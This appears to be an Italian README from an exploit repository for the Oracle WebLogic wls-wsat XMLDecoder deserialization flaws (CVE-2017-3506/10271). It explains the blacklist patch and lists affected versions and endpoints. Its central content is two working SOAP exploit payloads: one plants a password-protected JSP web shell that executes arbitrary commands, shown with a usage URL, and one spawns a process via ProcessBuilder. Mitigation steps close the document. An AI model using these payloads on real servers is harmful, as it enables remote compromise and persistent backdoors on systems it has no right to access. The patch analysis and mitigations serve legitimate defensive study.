lonehand/oracle-weblogic-cve-2017-10271-master
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
In precedenza, gli hacker hanno sfruttato la vulnerabilità del componente WLS di WebLogic per lanciare attacchi remoti su larga scala contro i server aziendali. Un gran numero di server aziendali è stato compromesso e il numero di aziende colpite ha mostrato una chiara tendenza all'aumento, pertanto è necessario prestarvi grande attenzione. CVE-2017-3506 è una vulnerabilità di esecuzione remota di codice che sfrutta il componente WLS di Oracle WebLogic; si tratta di una vulnerabilità sfruttata in natura senza dettagli pubblici e molte aziende non hanno ancora installato la patch in tempo. Oracle ha rilasciato la patch per questa vulnerabilità nell'aprile 2017.
Spiegazione della patch per CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
La patch aggiunge semplicemente una funzione validate prima della deserializzazione: se qName è uguale a "object", viene lanciata un'eccezione e il processo termina. Si può definire una soluzione semplice ma brutale; tuttavia, questo tipo di riparazione basata su una lista nera difficilmente può essere completa. Merita una riflessione approfondita...
Il metodo di sfruttamento di questa vulnerabilità è relativamente semplice: un attaccante deve solo inviare una richiesta HTTP appositamente costruita per ottenere i permessi sul server di destinazione, con un impatto enorme. Poiché la vulnerabilità è relativamente recente, ci sono ancora molti host che non hanno aggiornato le patch. Si prevede che, dopo questo incidente, il numero di attacchi possa aumentare notevolmente e molti nuovi host vengano compromessi.
La patch di aprile di Oracle non ha corretto completamente CVE-2017-3506: è possibile aggirare la patch ed eseguire ancora comandi remoti. La vulnerabilità di bypass CVE-2017-10271 è stata corretta nella patch di ottobre rilasciata da Oracle.
CVE-2017-10271 (vulnerabilità di bypass dell'esecuzione remota di comandi in wls-wsat)
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0
Oracle WebLogic Server 12.2.1.2.0
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
exploit
CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami
exploit
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
exploit
exploit
exploit
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Implementare il controllo degli accessi per le risorse che accedono a wls-wsat.
Soluzione temporanea
Senza influire sul business, in base al percorso effettivo dell'ambiente, eliminare i seguenti pacchetti WAR e directory dal programma WebLogic.
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Dopo aver riavviato il servizio WebLogic o il sistema, verificare che il seguente link restituisca 404:
http://ip:port/wls-wsat/CoordinatorPortType11